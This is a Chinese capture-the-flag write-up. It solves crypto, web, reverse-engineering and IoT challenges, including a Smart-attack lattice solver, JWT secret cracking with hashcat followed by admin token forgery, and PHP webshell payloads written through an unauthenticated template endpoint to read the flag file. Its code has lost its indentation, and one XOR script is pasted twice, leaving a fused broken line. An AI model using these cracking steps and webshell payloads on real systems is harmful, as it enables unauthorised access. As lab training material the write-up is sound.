t1 = y2^2 - y1^2 - x2^3 + x1^3
t2 = y3^2 - y2^2 - x3^3 + x2^3
t3 = y4^2 - y3^2 - x4^3 + x3^3

k1 = t1*(x3-x2) - t2*(x2-x1)
k2 = t2*(x4-x3) - t3*(x3-x2)
k3 = t1*(x4-x3) - t3*(x2-x1)

g = gcd(g, abs(int(k1)))
g = gcd(g, abs(int(k2)))
g = gcd(g, abs(int(k3)))

p = ZZ(g)

# 去掉小因子(这题通常会多一个 2)
for q in prime_range(2, 2000):
while p % q == 0:
cand = p // q
if all(px < cand and py < cand for px, py in points):
p = cand
else:
break

for i in range(len(points)):
for j in range(i + 1, len(points)):
x1, y1 = points[i]
x2, y2 = points[j]
if gcd(int(x2 - x1), int(p)) == 1:
f1 = (y1*y1 - x1*x1*x1) % p
f2 = (y2*y2 - x2*x2*x2) % p
a = ((f2 - f1) * inverse_mod(x2 - x1, p)) % p
b = (f1 - a*x1) % p
return p, a, b

raise ValueError("recover curve failed")

def SmartAttack(P, Q, p):
E = P.curve()

Ep = EllipticCurve(
Qp(p, 2),
[ZZ(t) + ZZ.random_element(0, p) * p for t in E.a_invariants()]
)

# lift P
for cand in Ep.lift_x(ZZ(P.xy()[0]), all=True):
if GF(p)(cand.xy()[1]) == P.xy()[1]:
P_Qp = cand
break
else:
raise ValueError("lift P failed")

# lift Q
for cand in Ep.lift_x(ZZ(Q.xy()[0]), all=True):
if GF(p)(cand.xy()[1]) == Q.xy()[1]:
Q_Qp = cand
break
else:
raise ValueError("lift Q failed")

pP = p * P_Qp
pQ = p * Q_Qp

xP, yP = pP.xy()
xQ, yQ = pQ.xy()

phiP = -(xP / yP)
phiQ = -(xQ / yQ)

return ZZ(phiQ / phiP)

def vec_to_flag(v):
return bytes([int(t) & 0xff for t in v])

print("[+] recovering curve ...")
p, a, b = recover_curve(pts)
print("[+] p =", p)
print("[+] a =", a)
print("[+] b =", b)

E = EllipticCurve(GF(p), [a, b])

for i, (xx, yy) in enumerate(pts):
_ = E(xx, yy)
print("[+] all points are on the curve")

ordE = E.order()
print("[+] #E(F_p) =", ordE)
assert ordE == p, "this solver expects an anomalous curve"

G = E.gens()[0]
print("[+] generator =", G)

print("[+] running Smart attack on all points ...")
d = []
for i, pt in enumerate(pts):
di = SmartAttack(G, E(pt), p) % p
d.append(ZZ(di))
print(f" done {i+1}/{n}")

print("[+] building lattice ...")
K = 2^100
L = Matrix(ZZ, n + 1, n + 1)
for i in range(n):
L[i, i] = 1
L[i, n] = d[i] * K
L[n, n] = p * K

B = L.LLL()

# 原关系有 3 列,所以取 n-3 行构造正交约束
rows = n - 3
R = Matrix(ZZ, rows, n)
for i in range(rows):
R[i] = B[i][:n]

print("[+] kernel basis ...")
KB = Matrix(ZZ, R.right_kernel().basis())
KB = KB.LLL()

print("[+] candidates:")
for i, v in enumerate(KB):
c1 = vec_to_flag(v)
c2 = vec_to_flag(-v)
print(f"[{i}] {c1}")
print(f"[{i}] {c2}")
if b"flag{" in c1:
print("\n[FOUND]", c1)
if b"flag{" in c2:
print("\n[FOUND]", c2)

最后得到flag:

1
flag{893d041e-c0a2-3145-5320-cdee7d3c87fb}

Web

Signed_Too_Weak

本题思路如下:

img

先把他的默认账号和密码输进去看看:

虽然前端是这样:

img

但是你可以发现url上多了一坨key:

http://f634eb36-7365-4455-9945-4bb6e7878372.www.polarctf.com:8090/index.php?key=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQxMDAwOTIsImV4cCI6MTc3NDEwMzY5Mn0.FnZRabu2Zoyf9UpHgfiB3y5AOyQCX5IzaZjVmUZTETU

这key就是jwt,那就伪造jwt:https://www.bejson.com/jwt/

先用hashcat把对称密钥爆出来:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE3NzQxMDAwOTIsImV4cCI6MTc3NDEwMzY5Mn0.FnZRabu2Zoyf9UpHgfiB3y5AOyQCX5IzaZjVmUZTETU保存到hash.txt里,然后使用命令:

hashcat -m 16500 hash.txt rockyou.txt

img

爆出来密钥是polar

img

把username后面的值改成admin然后编码校验即可,最后把修改的jwt粘贴进url里即可得到flag。

img

flag:

1
flag{1ef71ce34edda6640854cd8d4638af3a45b011eaf21fc8ee71eca8ad24ce1cdd}

coke的粉丝团

本题思路如下:

img

先自己注册一个账号登录进去

img

在52页能找到:

img

发现点不了那个按钮,那就改前端吧:

img

右键->检查:

img

发现写了个disabled,删掉就可以点了:

img

点击发现:

img

我在抓包的时候发现抓到了jwt,说明这题还是jwt伪造:

img

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Impva2UifQ.0oTp5_Aq1YCMlYNmQOYj7HgyQbQjArO-s0wwG0Xx-rg存进hash.txt,使用hashcat破解:

hashcat -m 16500 hash.txt rockyou.txt

img

这里我之前跑过了,密钥是coke

img

cookie里把jwt改一下就可以拿到flag:

image-20260407085900131

新年贺卡

本题思路如下:

本题是一个基于 PHP 开发的“新年贺卡生成器”。通过提供前端页面和后端源码,我们可以进行白盒审计。

核心漏洞:未授权访问 + 任意文件写入导致 RCE

在审计源码时发现,路由 ?action=admin 没有任何的权限验证(如 Session 或 Token 检查)。攻击者可以直接通过传入 debug=add_template 参数访问后台的模板添加功能。

1
2
3
4
5
6
7
// 漏洞代码片段
else if ($debug === 'add_template' && $_SERVER['REQUEST_METHOD'] === 'POST') {
$name = $_POST['template_name'] ?? '';
$content = $_POST['template_content'] ?? '';
try {
// 未经任何过滤,直接将传入的 name 和 content 写入 .php 文件
TemplateManager::addTemplate($name, $content);

1.发现隐藏接口与尝试写入 Webshell
源码中包含一个隐藏的表单路径 ?action=admin&debug=/** **/_form,但由于特殊字符可能被 WAF 拦截或路由解析失败,我们选择直接向后端接口发送 POST 请求来盲打。
使用 HackBar 或 Burp Suite 构造 POST 请求,尝试写入基础的系统命令执行木马:

1
2
URL:?action=admin&debug=add_template
POSTData:template_name=hack&template_content=<?php system('cat /flag'); ?>

2.绕过命令执行限制 (Disable Functions)
写入 hack.php 后,在主页生成贺卡触发执行,但下载返回的“图片”文件(实际上是被劫持输出的文本文件)为空。这说明目标服务器可能在 php.ini 中禁用了 system() 等命令执行函数,或者 Flag 不在 /flag 路径下。
为此,我们改用 PHP 原生函数 scandir() 进行目录遍历探路。

1
POSTData:template_name=hack2&template_content=<?php print_r(scandir('/')); ?>

触发 hack2 模板后,下载贺卡并用记事本打开,成功获取根目录结构,发现目标文件为 flag.txt:

image-20260407090214125

3:读取 flag

确立目标文件后,再次利用 PHP 原生函数 file_get_contents() 读取文件内容。

1
POST Data: template_name=hack3&template_content=<?php echo file_get_contents('/flag.txt'); ?>

回到主页

选择模板 hack3。

随意输入祝福语,点击“生成贺卡”。

此时页面会显示一张损坏的图片

img

1
flag{09328acfbc035a4e69a710f71eab8a5c}

REVERSE

练习2

本题思路如下:

先把文件拖入查壳工具:

img

用upx脱壳:

img

下面用IDA Pro进行分析先找到主函数:

img

分析一下:

1
2
3
4
5
6
7
8
if ( isalpha(v6) )
{
v9 = islower(v8);
v10 = 65;
if ( v9 )
v10 = 97;
*v7 = v10 + (v8 - v10 + 7) % 26;
}

程序首先遍历输入字符串,使用 isalpha 判断字符是否为字母。如果是字母,则保留其大小写状态(通过 islower 区分基准值是 65(‘A’) 还是 97(‘a’)),然后将其在字母表上向后移动 7 位。非字母字符保持原样不变。

1
2
3
4
5
6
7
8
9
if ( v13 < (__int64)(int)v12 )
{
do
{
*((_BYTE *)v24 + v19) = *((_BYTE *)v23 + v19) ^ 0x50;
++v19;
}
while ( v19 < (int)v12 );
}

经过凯撒加密后的字符串,接着经历了一次异或加密。虽然代码中存在大量 SIMD 指令(编译器为了加速 16 字节块处理生成的优化代码),但通过下方处理剩余不足 64 字节数据的逻辑可以看出,本质上是对每一个字节进行了 ^ 0x50(异或 0x50)的操作。

1
2
3
4
5
6
7
8
v21 = 0;
do
{
sub_140001070(&v26[v21], "%02x");
v21 += 2;
++v5;
}
while ( v5 < v20 );

最后,程序将异或后的字节流格式化为了小写的十六进制字符串(%02x)。

hint.txt:3d23383e2b2a233837243a213b323c202a2628213a253735232a3b22212d

通过这个编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def solve():
cipher_hex = "3d23383e2b2a233837243a213b323c202a2628213a253735232a3b22212d"

# 1. Hex 解码
encrypted_bytes = bytes.fromhex(cipher_hex)

# 2. 异或解密 (XOR 0x50)
xor_decrypted = [b ^ 0x50 for b in encrypted_bytes]

# 3. 反向凯撒解密 (向左偏移 7 位)
flag = ""
for b in xor_decrypted:
char = chr(b)
if char.isalpha():
base = ord('a') if char.islower() else ord('A')
# 减去偏移量 7,加上 26 取模防止负数,再加回基准 ascii 码
original_char = chr((b - base - 7 + 26) % 26 + base)
flag += original_char
else:
flag += char

print("[+] 破解成功!")
print(f"[+] Flag: {flag}")

if __name__ == '__main__':
solve()

flag:

1
flag{slazmcjdueisoqjcnzxlsdkj}

PloTS

bllhl_xmpp

本题思路如下:

依旧grep大法:

1
2
strings -el 2.bin | grep -i "flag{"
strings -el 2.bin | grep -i "flag{"

都能直接获得flag:

img

flag:

1
flag{polarctf_iot_oo}

polarble

本题思路如下:

给了一个bin说是让我烧录,但是我对硬件不熟,就用grep大法了:

img

看看这个I have al…这句话上下有什么信息:

img

这个告诉我们flag被xor了,密文就在下面那一串

@<6;=!2;3 343-/>36?’=3,?7?<6;=

那咱们就编写脚本爆破xor呗:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ciphertext = "@<6;=!2;3 343-/>36?'=3,?7?<6;="
print("开始爆破 XOR 密钥...")
for key in range(256):
try:
# 遍历对每一个字符进行异或操作
plaintext = "".join([chr(ord(c) ^ key) for c in ciphertext])

# 查找常见的 Flag 格式特征
if "flag" in plaintext.lower() or "{" in plaintext:
print(f"[*] 可能是 Flag 的 Key: 0x{key:02x} ({key}) -> {plaintext}")

except Exception:
Passciphertext = "@<6;=!2;3 343-/>36?'=3,?7?<6;="
print("开始爆破 XOR 密钥...")
for key in range(256):
try:
# 遍历对每一个字符进行异或操作
plaintext = "".join([chr(ord(c) ^ key) for c in ciphertext])

# 查找常见的 Flag 格式特征
if "flag" in plaintext.lower() or "{" in plaintext:
print(f"[*] 可能是 Flag 的 Key: 0x{key:02x} ({key}) -> {plaintext}")

except Exception:
Pass

发现flag:

img

flag为:

1
flag{haiziniwudile}

实习生flashrom

本题思路如下:

  1. 分析实习生日志与芯片状态:

从 intern_log.txt 可以看出,主板的 Winbond W25Q128JV 芯片的状态寄存器(SR1:0x18)表明块保护(Block Protect)位被设置,导致 0x1F00000 之后的关键区域变成了只读/不可读保护模式,读出来全是 FF。

  1. 分析解锁工具 (unlocker.py):

这个 Python 脚本实际上是一个用来修复并“解锁”被保护固件的工具。它要求输入一个密码来验证权限。如果密码验证通过(通过比对 _ENC 的哈希和解密),它会将丢失的“主密钥加载区”(Master Key Loader Area)数据重新注入到固件的 0x1F00000 偏移处。

3.直接提取“主密钥”明文:

虽然 unlocker.py 里面用来验证工具执行权限的密码被混淆加密了,但工具准备注入到固件中的最终开锁密钥数据却是明文硬编码在代码里的。

查看脚本中的 _make_blob() 函数,它模拟生成了一个 SquashFS 文件系统块:

1
2
3
4
5
6
7
8
9
10
11
def _make_blob():
blob = b"SQUASHFS_SIMULATED\n"
blob += b"---BEGIN /etc/config/master_key.conf---\n"
# 提取到密钥的B部分
blob+=b'#MasterKeyPartB\nkey_part_b="neng_bu_neng"\n'
blob += b"---END /etc/config/master_key.conf---\n"
blob += b"---BEGIN /bin/open_sesame.sh---\n"
# 提取到密钥的A部分和C部分,并进行拼接
blob+=b'#!/bin/sh\nPART_A="zhi_ma_"\\nPART_C="_kai_men"\\n./etc/config/master_key.conf\\nMASTER_KEY="${PART_A}${key_part_b}${PART_C}"\\necho "The master key is: $MASTER_KEY"\\n'
blob += b"\n---END /bin/open_sesame.sh---\n"
return blob
  1. 拼接最终口令:

根据 open_sesame.sh 脚本的拼接逻辑:

1
2
3
4
MASTER_KEY="${PART_A}${key_part_b}${PART_C}"
PART_A = "zhi_ma_"
key_part_b = "neng_bu_neng"
PART_C = "_kai_men"

将这三部分组合在一起,门锁最终验证的 MasterKey 就是:

1
zhi_ma_neng_bu_neng_kai_men

flag为:

1
flag{zhi_ma_neng_bu_neng_kai_men}